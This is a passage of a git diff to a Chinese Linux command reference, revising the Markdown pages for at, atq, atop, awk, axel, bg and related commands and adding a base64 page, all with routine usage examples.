time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。 +上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。 -### 语法 +### 语法 ```shell -at(选项)(参数) +at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...] ``` -### 选项 +### 选项 ```shell -f:指定包含具体指令的任务文件; @@ -25,13 +25,13 @@ at(选项)(参数) -m:任务执行完成后向用户发送E-mail。 ``` -### 参数 +### 参数 日期时间:指定任务执行的日期时间。 -### 实例 +### 示例 -三天后的下午 5 点锺执行`/bin/ls`: +三天后的下午 5 点钟执行`/bin/ls`: ```shell [root@localhost ~]# at 5pm+3 days @@ -60,10 +60,6 @@ job 8 at 2013-01-06 17:20 删除已经设置的任务: ```shell -[root@localhost ~]# atq -8 2013-01-06 17:20 a root -7 2013-01-08 17:00 a root - [root@localhost ~]# atrm 7 [root@localhost ~]# atq 8 2013-01-06 17:20 a root @@ -80,5 +76,28 @@ umask 22此处省略n个字符 date >/root/2013.log ``` +使用任务文件执行任务: - \ No newline at end of file +```shell +[root@localhost ~]# echo "/bin/ls" > mytask.txt +[root@localhost ~]# at -f mytask.txt 5pm+3 days +job 9 at 2013-01-08 17:00 +``` + +指定任务队列执行任务: + +```shell +[root@localhost ~]# at -q b 5pm+3 days +at> /bin/ls +at> +job 10 at 2013-01-08 17:00 +``` + +任务执行完成后发送E-mail通知: + +```shell +[root@localhost ~]# at -m 5pm+3 days +at> /bin/ls +at> +job 11 at 2013-01-08 17:00 +``` \ No newline at end of file diff --git a/command/atop.md b/command/atop.md index 86fd79848f5..ca04cc49b93 100644 --- a/command/atop.md +++ b/command/atop.md @@ -5,27 +5,32 @@ atop ## 补充说明 -[非内部程序,需要安装]它以一定的频率记录系统的运行状态,所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中,服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其源码和rpm安装包。 +**atop命令** 是一款开源的系统监控工具,它以一定的频率记录系统的运行状态,采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中。服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 -## 语法 +## 语法 ```shell -atop(选项)(参数) +atop [选项] [参数] ``` -## 说明 +## 说明 -**ATOP列**:该列显示了主机名、信息采样日期和时间点 +### ATOP列 -**PRC列**:该列显示进程整体运行情况 +该列显示了主机名、信息采样日期和时间点。 + +### PRC列 + +该列显示进程整体运行情况: - sys、usr字段分别指示进程在内核态和用户态的运行时间 -- #proc字段指示进程总数 -- #zombie字段指示僵死进程的数量 -- #exit字段指示atop采样周期期间退出的进程数量 +- `#proc` 字段指示进程总数 +- `#zombie` 字段指示僵尸进程的数量 +- `#exit` 字段指示atop采样周期期间退出的进程数量 +### CPU列 -**CPU列**:该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况,我们知道CPU可被用于执行进程、处理中断,也可处于空闲状态(空闲状态分两种,一种是活动进程等待磁盘IO导致CPU空闲,另一种是完全空闲) +该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况: - sys、usr字段指示CPU被用于处理进程时,进程在内核态、用户态所占CPU的时间比例 - irq字段指示CPU被用于处理中断的时间比例 @@ -34,15 +39,21 @@ atop(选项)(参数) CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。 -cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100% +### cpu列 + +该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100%。 -**CPL列**:该列显示CPU负载情况 +### CPL列 + +该列显示CPU负载情况: - avg1、avg5和avg15字段:过去1分钟、5分钟和15分钟内运行队列中的平均进程数量 - csw字段指示上下文交换次数 - intr字段指示中断发生次数 -**MEM列**:该列指示内存的使用情况 +### MEM列 + +该列指示内存的使用情况: - tot字段指示物理内存总量 - free字段指示空闲内存的大小 @@ -50,44 +61,49 @@ cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU - buff字段指示用于文件缓存的内存大小 - slab字段指示系统内核占用的内存大小 -**SWP列**:该列指示交换空间的使用情况 +### SWP列 + +该列指示交换空间的使用情况: - tot字段指示交换区总量 - free字段指示空闲交换空间大小 -**PAG列**:该列指示虚拟内存分页情况 +### PAG列 + +该列指示虚拟内存分页情况: + +- swin、swout字段:换入和换出内存页数 -swin、swout字段:换入和换出内存页数 +### DSK列 -**DSK列**:该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息 +该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息: - sda字段:磁盘设备标识 - busy字段:磁盘忙时比例 - read、write字段:读、写请求数量 -**NET列**:多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息 +### NET列 -- XXXi 字段指示各层或活动网口收包数目 -- XXXo 字段指示各层或活动网口发包数目 +多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息: +- XXXi字段指示各层或活动网口收包数目 +- XXXo字段指示各层或活动网口发包数目 ## atop日志 -每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢? - -对于atop日志文件的保存方式,我们可以这样: +每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用`atop -r XXX`命令对日志文件进行查看。日志文件的保存方式如下: - 每天保存一个atop日志文件,该日志文件记录当天信息 -- 日志文件以"atop_YYYYMMDD"的方式命名 +- 日志文件以`atop_YYYYMMDD`的方式命名 - 设定日志失效期限,自动删除一段时间前的日志文件 -其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天): +atop开发者提供了以上日志保存方式,相应的`atop.daily`脚本可以在源码目录下找到。在`atop.daily`脚本中,我们可以通过修改`INTERVAL`变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天): ```shell (sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& ``` -最后,我们修改cron文件,每天凌晨执行atop.daily脚本: +最后,我们修改cron文件,每天凌晨执行`atop.daily`脚本: ```shell 0 0 * * * root /etc/cron.daily/atop.daily @@ -96,5 +112,3 @@ swin、swout字段:换入和换出内存页数 ## 相关资料 - [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) - - \ No newline at end of file diff --git a/command/atq.md b/command/atq.md index f21f517efbe..5fd86e76812 100644 --- a/command/atq.md +++ b/command/atq.md @@ -7,30 +7,56 @@ atq **atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。 -### 语法 +### 语法 ```shell -atq(选项) +atq [-V] [-q 队列] [-v] ``` -### 选项 +### 选项 ```shell -V:显示版本号; -q:查询指定队列的任务。 ``` -### 实例 +### 示例 + +创建一个在10分钟后执行的任务,并列出当前用户的任务列表: ```shell -at now + 10 minutes +[root@localhost ~]# at now + 10 minutes at> echo 1111 -at> +at> job 3 at Fri Apr 26 12:56:00 2013 +``` -atq +使用`atq`命令查看当前用户的任务列表: + +```shell +[root@localhost ~]# atq 3 Fri Apr 26 12:56:00 2013 a root ``` +查询指定队列的任务: + +```shell +[root@localhost ~]# at -q a now + 10 minutes +at> echo "Task in queue a" +at> +job 4 at Fri Apr 26 13:06:00 2013 +``` + +使用`atq`命令查看队列`a`中的任务: - \ No newline at end of file +```shell +[root@localhost ~]# atq -q a +4 Fri Apr 26 13:06:00 2013 a root +``` + +显示`atq`命令的版本号: + +```shell +[root@localhost ~]# atq -V +atq (GNU at) 3.1.20 +``` \ No newline at end of file diff --git a/command/atrm.md b/command/atrm.md index 63b06353136..73759f40413 100644 --- a/command/atrm.md +++ b/command/atrm.md @@ -7,23 +7,23 @@ atrm **atrm命令** 用于删除待执行任务队列中的指定任务。 -### 语法 +### 语法 ```shell atrm(选项)(参数) ``` -### 选项 +### 选项 ```shell -V:显示版本号。 ``` -### 参数 +### 参数 任务号:指定待执行队列中要删除的任务。 -### 实例 +### 实例 删除已经排队的任务 @@ -36,4 +36,3 @@ atrm 2 # 删除任务2 ``` - \ No newline at end of file diff --git a/command/awk.md b/command/awk.md index c7641dc9894..9a540cb3d81 100644 --- a/command/awk.md +++ b/command/awk.md @@ -18,7 +18,7 @@ awk [options] -f scriptfile var=value file(s) **常用命令选项** -* **-F fs** fs指定输入分隔符,fs可以是字符串或正则表达式,如-F: +* **-F fs** fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:,默认的分隔符是连续的空格或制表符 * **-v var=value** 赋值一个用户定义变量,将外部变量传递给awk * **-f scripfile** 从脚本文件中读取awk命令 * **-m[fr] val** 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。 @@ -27,7 +27,7 @@ awk [options] -f scriptfile var=value file(s) awk脚本是由模式和操作组成的。 -### 模式 +### 模式 模式可以是以下任意一个: @@ -36,7 +36,7 @@ awk脚本是由模式和操作组成的。 * 模式匹配表达式:用运算符`~`(匹配)和`!~`(不匹配)。 * BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理 -### 操作 +### 操作 操作由一个或多个命令、函数、表达式组成,之间由换行符或分号隔开,并位于大括号内,主要部分是: @@ -51,14 +51,13 @@ awk脚本是由模式和操作组成的。 awk 'BEGIN{ print "start" } pattern{ commands } END{ print "end" }' file ``` -一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 **单引号** 或 **双引号** 中,例如: +一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 **单引号** 中,例如: ```shell awk 'BEGIN{ i=0 } { i++ } END{ print i }' filename -awk "BEGIN{ i=0 } { i++ } END{ print i }" filename ``` -### awk的工作原理 +### awk的工作原理 ```shell awk 'BEGIN{ commands } pattern{ commands } END{ commands }' @@ -77,7 +76,7 @@ awk 'BEGIN{ commands } pattern{ commands } END{ commands }' **示例** ```shell -echo -e "A line 1nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }' +echo -e "A line 1\nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }' Start A line 1 A line 2 @@ -129,6 +128,18 @@ v1=v2=v3 [N] **SUBSEP** 数组下标分隔符(默认值是34)。 ``` +转义序列 + +``` +\\ \自身 +\$ 转义$ +\t 制表符 +\b 退格符 +\r 回车符 +\n 换行符 +\c 取消换行 +``` + **示例** ```shell @@ -141,13 +152,13 @@ Line No:3, No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7 使用`print $NF`可以打印出一行中的最后一个字段,使用`$(NF-1)`则是打印倒数第二个字段,其他以此类推: ```shell -echo -e "line1 f2 f3n line2 f4 f5" | awk '{print $NF}' +echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $NF}' f3 f5 ``` ```shell -echo -e "line1 f2 f3n line2 f4 f5" | awk '{print $(NF-1)}' +echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $(NF-1)}' f2 f4 @@ -216,12 +227,12 @@ netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}' 作为一种程序设计语言所应具有的特点之一,awk支持多种运算,这些运算与C语言提供的基本相同。awk还提供了一系列内置的运算函数(如log、sqr、cos、sin等)和一些用于对字符串进行操作(运算)的函数(如length、substr等等)。这些函数的引用大大的提高了awk的运算功能。作为对条件转移指令的一部分,关系判断是每种程序设计语言都具备的功能,awk也不例外,awk中允许进行多种测试,作为样式匹配,还提供了模式匹配表达式~(匹配)和!~(不匹配)。作为对测试的一种扩充,awk也支持用逻辑运算符。 -### 算术运算符 +### 算术运算符 -| 运算符 | 描述 | -| ----- | ---- | -| + - | 加,减 | -| * / & | 乘,除与求余 | +| 运算符 | 描述 | +| ----- | ---- | +| + - | 加,减 | +| * / & | 乘,除与求余 | | + - ! | 一元加,减和逻辑非 | | ^ *** | 求幂 | | ++ -- | 增加或减少,作为前缀或后缀 | @@ -235,11 +246,11 @@ awk 'BEGIN{a="b";print a++,++a;}' 注意:所有用作算术运算符进行操作,操作数自动转为数值,所有非数值都变为0 -### 赋值运算符 +### 赋值运算符 -| 运算符 | 描述 | -| ----- | ---- | -| = += -= *= /= %= ^= **= | 赋值语句 | +| 运算符 | 描述 | +| ----- | ---- | +| = += -= *= /= %= ^= **= | 赋值语句 | 例: @@ -247,12 +258,12 @@ awk 'BEGIN{a="b";print a++,++a;}' a+=5; 等价于:a=a+5; 其它同类 ``` -### 逻辑运算符 +### 逻辑运算符 -| 运算符 | 描述 | -| ----- | ---- | -| `\|\|` | 逻辑或 | -| && | 逻辑与 | +| 运算符 | 描述 | +| ----- | ---- | +| `\|\|` | 逻辑或 | +| && | 逻辑与 | 例: @@ -261,11 +272,30 @@ awk 'BEGIN{a=1;b=2;print (a>5 && b<=2),(a>5 || b<=2);}' 0 1 ``` -### 正则运算符 +### 正则运算符 -| 运算符 | 描述 | -| ----- | ---- | -| ~ !~ | 匹配正则表达式和不匹配正则表达式 | +| 运算符 | 描述 | +| ----- | ---- | +| ~ !~ | 匹配正则表达式和不匹配正则表达式 | + +``` +^ 行首 +$ 行尾 +. 除了换行符以外的任意单个字符 +* 前导字符的零个或多个 +.* 所有字符 +[] 字符组内的任一字符 +[^]对字符组内的每个字符取反(不匹配字符组内的每个字符) +^[^] 非字符组内的字符开头的行 +[a-z] 小写字母 +[A-Z] 大写字母 +[a-Z] 小写和大写字母 +[0-9] 数字 +\< 单词头单词一般以空格或特殊字符做分隔,连续的字符串被当做单词 +\> 单词尾 +``` + +> 正则需要用 /正则/ 包围住 例: @@ -274,11 +304,11 @@ awk 'BEGIN{a="100testa";if(a ~ /^100*/){print "ok";}}' ok ``` -### 关系运算符 +### 关系运算符 -| 运算符 | 描述 | -| ----- | ---- | -| < <= > >= != == | 关系运算符 | +| 运算符 | 描述 | +| ----- | ---- | +| < <= > >= != == | 关系运算符 | 例: @@ -289,14 +319,14 @@ ok 注意:> < 可以作为字符串比较,也可以用作数值比较,关键看操作数如果是字符串就会转换为字符串比较。两个都为数字才转为数值比较。字符串比较:按照ASCII码顺序比较。 -### 其它运算符 +### 其它运算符 -| 运算符 | 描述 | -| ----- | ---- | -| $ | 字段引用 | -| 空格 | 字符串连接符 | -| ?: | C条件表达式 | -| in | 数组中是否存在某键值 | +| 运算符 | 描述 | +| ----- | ---- | +| $ | 字段引用 | +| 空格 | 字符串连接符 | +| ?: | C条件表达式 | +| in | 数组中是否存在某键值 | 例: @@ -315,14 +345,14 @@ awk 'BEGIN{a="b";arr[0]="b";arr["b"]="c";print (a in arr);}' 1 ``` -### 运算级优先级表 +### 运算级优先级表 !级别越高越优先 级别越高越优先 ## awk高级输入输出 -### 读取下一条记录 +### 读取下一条记录 awk中`next`语句使用:在循环逐行匹配,如果遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。next语句一般用于多行合并: @@ -341,7 +371,7 @@ awk 'NR%2==1{next}{print NR,$0;}' text.txt 当记录行号除以2余1,就跳过当前行。下面的`print NR,$0`也不会执行。下一行开始,程序有开始判断`NR%2`值。这个时候记录行号是`:2` ,就会执行下面语句块:`'print NR,$0'` -分析发现需要将包含有“web”行进行跳过,然后需要将内容与下面行合并为一行: +跳过以“web”为首的行,再将该行内容分别与下面不以“web”为首的行合并打印,使用一个“:”和一个制表符连接: ```shell cat text.txt @@ -356,7 +386,7 @@ web03[192.168.2.102] mysqld ok httpd ok 0 -awk '/^web/{T=$0;next;}{print T":t"$0;}' test.txt +awk '/^web/{T=$0;next;}{print T":\t"$0;}' text.txt web01[192.168.2.100]: httpd ok web01[192.168.2.100]: tomcat ok web01[192.168.2.100]: sendmail ok @@ -366,7 +396,7 @@ web03[192.168.2.102]: mysqld ok web03[192.168.2.102]: httpd ok ``` -### 简单地读取一条记录 +### 简单地读取一条记录 `awk getline`用法:输出重定向需用到`getline函数`。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。它负责从输入获得下一行的内容,并给NF,NR和FNR等内建变量赋值。如果得到一条记录,getline函数返回1,如果到达文件的末尾就返回0,如果出现错误,例如打开文件失败,就返回-1。 @@ -397,7 +427,7 @@ awk 'BEGIN{ "date" | getline out; split(out,mon); print mon[2] }' test awk 'BEGIN{ while( "ls" | getline) print }' ``` -### 关闭文件 +### 关闭文件 awk中允许在程序中关闭一个输入或输出文件,方法是使用awk的close语句。 @@ -407,7 +437,7 @@ close("filename") filename可以是getline打开的文件,也可以是stdin,包含文件名的变量或者getline使用的确切命令。或一个输出文件,可以是stdout,包含文件名的变量或使用管道的确切命令。 -### 输出到一个文件 +### 输出到一个文件 awk中允许用如下方式将结果输出到一个文件: @@ -433,7 +463,7 @@ awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd 在linux awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中,流程控制语句,语法结构,与c语言类型。有了这些语句,其实很多shell程序都可以交给awk,而且性能是非常快的。下面是各个语句用法。 -### 条件判断语句 +### 条件判断语句 ```shell if(表达式) @@ -474,9 +504,9 @@ very good 每条命令语句后面可以用`;` **分号** 结尾。 -### 循环语句 +### 循环语句 -#### while语句 +### # while语句 ```shell while(表达式) @@ -498,7 +528,7 @@ print total; 5050 ``` -#### for循环 +### # for循环 for循环有两种格式: @@ -550,7 +580,7 @@ print total; 5050 ``` -#### do循环 +### # do循环 ```shell do @@ -569,7 +599,7 @@ do {total+=i;i++;} while(i<=100) 5050 ``` -### 其他语句 +### 其他语句 * **break** 当 break 语句用于 while 或 for 语句时,导致退出程序循环。 * **continue** 当 continue 语句用于 while 或 for 语句时,使程序循环移动到下一个迭代。 @@ -580,7 +610,7 @@ do {total+=i;i++;} while(i<=100) 数组是awk的灵魂,处理文本中最不能少的就是它的数组处理。因为数组索引(下标)可以是数字和字符串在awk中数组叫做关联数组(associative arrays)。awk 中的数组不必提前声明,也不必声明大小。数组元素用0或空字符串来初始化,这根据上下文而定。 -### 数组的定义 +### 数组的定义 数字做数组索引(下标): @@ -593,7 +623,7 @@ Array[2]="kai" ```shell Array["first"]="www" -Array"[last"]="name" +Array["last"]="name" Array["birth"]="1987" ``` @@ -606,7 +636,7 @@ Array["birth"]="1987" { for(i=1;i<=len;i++) {print array[i]}; } #Len是数组的长度 ``` -### 数组相关函数 +### 数组相关函数 **得到数组长度:** @@ -676,9 +706,9 @@ b b1 `delete array[key]`可以删除,对应数组`key`的,序列值。 -### 二维、多维数组使用 +### 二维、多维数组使用 -awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2�344。 +awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(\034)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2\0344。 类似一维数组的成员测试,多维数组可以使用`if ( (i,j) in array)`这样的语法,但是下标必须放置在圆括号中。类似一维数组的循环访问,多维数组使用`for ( item in array )`这样的语法遍历数组。与一维数组不同的是,多维数组必须使用`split()`函数来访问单独的下标分量。 @@ -724,7 +754,7 @@ for(m in tarr){ awk内置函数,主要分以下3种类似:算数函数、字符串函数、其它一般函数、时间函数。 -### 算术函数 +### 算术函数 | 格式 | 描述 | | ---- | ---- | @@ -760,7 +790,7 @@ awk 'BEGIN{srand();fr=int(100*rand());print fr;}' 41 ``` -### 字符串函数 +### 字符串函数 | 格式 | 描述 | | ---- | ---- | @@ -846,7 +876,7 @@ awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2, 124.11,18446744073709551615,1.2,7C,174 ``` -### 一般函数 +### 一般函数 | 格式 | 描述 | | ---- | ---- | @@ -892,7 +922,7 @@ drwxr-xr-x 95 root root 4096 10-08 14:01 .. b返回值,是执行结果。 -### 时间函数 +### 时间函数 | 格式 | 描述 | | ---- | ---- | @@ -948,4 +978,4 @@ awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2 | %Y | 当前月份 | | %% | 百分号(%) | - + diff --git a/command/axel.md b/command/axel.md index b783ff11033..0d38af3af37 100644 --- a/command/axel.md +++ b/command/axel.md @@ -7,7 +7,15 @@ axel **axel** 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。 -### 安装 +### 安装 + +#### 源码安装 + +github地址:https://github.com/axel-download-accelerator/axel + +下载相应的 release 版本后,解压进入目录执行`./configure && make && make install`安装即可。 + +#### 二进制安装 CentOS安装Axel: @@ -33,13 +41,13 @@ Debian/Ubuntu安装Axel: apt-get install axel ``` -### 语法 +### 语法 ```shell axel [options] url1 [url2] [url...] ``` -### 选项 +### 选项 ```shell --max-speed=x , -s x # 最高速度x @@ -54,9 +62,10 @@ axel [options] url1 [url2] [url...] --alternate , -a # Alternate progress indicator --help ,-h # 帮助 --version ,-V # 版本信息 +--insecure,-k # 不验证SSL证书 ``` -### 实例 +### 实例 如下载lnmp安装包指定10个线程,存到 `/tmp/`: @@ -67,4 +76,3 @@ axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz 如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。 - \ No newline at end of file diff --git a/command/badblocks.md b/command/badblocks.md index 14df570705e..dbd00a31a20 100644 --- a/command/badblocks.md +++ b/command/badblocks.md @@ -7,13 +7,13 @@ badblocks **badblock命令** 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备,当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后,如果不及时更换或进行技术处理,坏道就会越来越多,并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘,但在临时的情况下,应及时屏蔽坏道部分的扇区,不要触动它们。badblocks就是一个很好的检查坏道位置的工具。 -### 语法 +### 语法 ```shell badblock(选项)(参数) ``` -### 选项 +### 选项 ```shell -b<区块大小>:指定磁盘的区块大小,单位为字节; @@ -23,13 +23,13 @@ badblock(选项)(参数) -w:在检查时,执行写入测试。 ``` -### 参数 +### 参数 * 磁盘装置:指定要检查的磁盘装置; * 磁盘区块数:指定磁盘装置的区块总数; * 启始区块:指定要从哪个区块开始检查。 -### 实例 +### 实例 badblocks以 4096 的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。 @@ -59,7 +59,7 @@ badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000 这次花费的时间比较短,硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同,其输出的结果也不完全是相同的。重复几次同样的操作,因条件多少都有些不同,所以结果也有所不同。进行多次操作后,直到产生最后的hda-badblock-list.final文件。 -### 其他 +### 其他 **1、fsck使用badblocks的信息** @@ -82,4 +82,3 @@ mkfs.ext3 -c /dev/hda1 这个操作已经很清楚地告知我们可以采用`mkfs.ext3 -c`选项用`read-only`方式检查硬盘。这个命令会在格式化硬盘时检查硬盘,并标出错误的硬盘“block”。用这个方法格式化硬盘,需要有相当大的耐心,因为命令运行后,会一个个用读的方式检查硬盘。 - \ No newline at end of file diff --git a/command/base64.md b/command/base64.md new file mode 100644 index 00000000000..8a8e4e16198 --- /dev/null +++ b/command/base64.md @@ -0,0 +1,52 @@ +base64 +=== + +base64 编码/解码文件或标准输入输出 + +### 描述 + +base64将`文件`或`标准输入`编码或解码为标准输出; + +### 语法 + +```shell +base64 [OPTION]... [FILE] +``` + +### 参数 + +```shell +-d, --decode # 解码 +-i, --ignore-garbage # 解码时,忽略非字母字符 +-w, --wrap=COLS # 在指定的字符数后自动换行(默认为76), 0 为禁用自动换行 + +--help # 显示此帮助说明并退出 +--version # 输出版本信息并退出 +``` + +### 实例 + +编码字符串 + +```bash +printf foo|base64 +``` + +编码文件 + +```bash +base64 file +``` + +解码 + +```bash +printf Zm9v|base64 -d +``` + +解码文件 + +```bash +base64 -d file +``` + diff --git a/command/basename.md b/command/basename.md index e7c707e69fd..731dac687c0 100644 --- a/command/basename.md +++ b/command/basename.md @@ -7,25 +7,25 @@ basename **basename命令** 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。 -### 语法 +### 语法 ```shell basename(选项)(参数) ``` -### 选项 +### 选项 ```shell --help:显示帮助; --version:显示版本号。 ``` -### 参数 +### 参数 * 文件:带路径信息的文件; * 后缀:可选参数,指定要去除的文件后缀字符串。 -### 实例 +### 实例 1、要显示一个shell变量的基本名称,请输入: @@ -44,4 +44,3 @@ OFILE=`basename $1 .c`.o 此命令指定给 OFILE 文件第一个位置上的参数($1)的值,但它的 .c 后缀更改至 .o。如果 $1 是 /home/jim/program.c 文件,则 OFILE 成为 program.o。因为 program.o 仅是一个基本文件名称,它标识在当前目录中的文件。 - \ No newline at end of file diff --git a/command/batch.md b/command/batch.md index de1abb92e49..2531de30bbf 100644 --- a/command/batch.md +++ b/command/batch.md @@ -7,13 +7,13 @@ batch **batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。 -### 语法 +### 语法 ```shell batch(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:指定包含具体指令的任务文件; @@ -21,11 +21,11 @@ batch(选项)(参数) -m:任务执行完后向用户发送E-mail。 ``` -### 参数 +### 参数 日期时间:指定任务执行的日期时间。 -### 实例 +### 实例 ```shell batch @@ -35,4 +35,3 @@ job 5 at Sun Apr 28 08:49:00 2013 ``` - \ No newline at end of file diff --git a/command/bc.md b/command/bc.md index 1adbd5cb3de..1cf3a43edd0 100644 --- a/command/bc.md +++ b/command/bc.md @@ -7,13 +7,13 @@ bc **bc命令** 是一种支持任意精度的交互执行的计算器语言。bash内置了对整数四则运算的支持,但是并不支持浮点运算,而bc命令可以很方便的进行浮点运算,当然整数运算也不再话下。 -### 语法 +### 语法 ```shell bc(选项)(参数) ``` -### 选项 +### 选项 ```shell -i:强制进入交互式模式; @@ -24,11 +24,11 @@ bc(选项)(参数) -h:显示指令的帮助信息。 ``` -### 参数 +### 参数 文件:指定包含计算任务的文件。 -### 实例 +### 实例 算术操作高级运算bc命令它可以执行浮点运算和一些高级函数: @@ -76,4 +76,3 @@ echo "sqrt(100)" | bc ``` - \ No newline at end of file diff --git a/command/bg.md b/command/bg.md index bb9fee05a6a..7dd0cb3fc7f 100644 --- a/command/bg.md +++ b/command/bg.md @@ -1,39 +1,48 @@ bg === -用于将作业放到后台运行 +将前台终端作业移动到后台运行 -## 补充说明 +## 概要 -**bg命令** 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。 +```shell +bg [job_spec ...] +``` -在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 +## 主要用途 -### 语法 +- 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。 -```shell -bg(参数) -``` +- 若后台任务中只有一个,则使用该命令时可以省略任务号。 + +## 参数 -### 参数 +job_spec(可选):指定要移动到后台执行的作业标识符,可以是一到多个。 -作业标识:指定需要放到后台的作业标识号。 +## 返回值 -### 实例 +返回成功除非未开启作业控制或发生了错误。 -使用bg命令将任务号为1的任务放到后台继续执行,输入如下命令: +## 例子 ```shell -bg 1 # 后台执行任务号为1的任务 +# 运行sleep命令,然后按下ctrl+z。 +sleep 60 +^Z +[1]+ Stopped sleep 60 + +# 使用bg命令使得作业在后台运行。 +bg %1 + +# 返回信息: +[1]+ sleep 60 & ``` -如果系统中只有一个挂起的任务时,即使不为该命令设置参数"1",也可以实现这个功能。 +### 注意 -注意:实际上,使用bg命令与在指令后面添加符号"&"的效果是一样的。例如,使用`&`将`find / -name password`放到后台执行,输入如下命令: +1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 +2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 -```shell -find / -name password & # 后台执行任务 -``` - \ No newline at end of file diff --git a/command/bind.md b/command/bind.md index 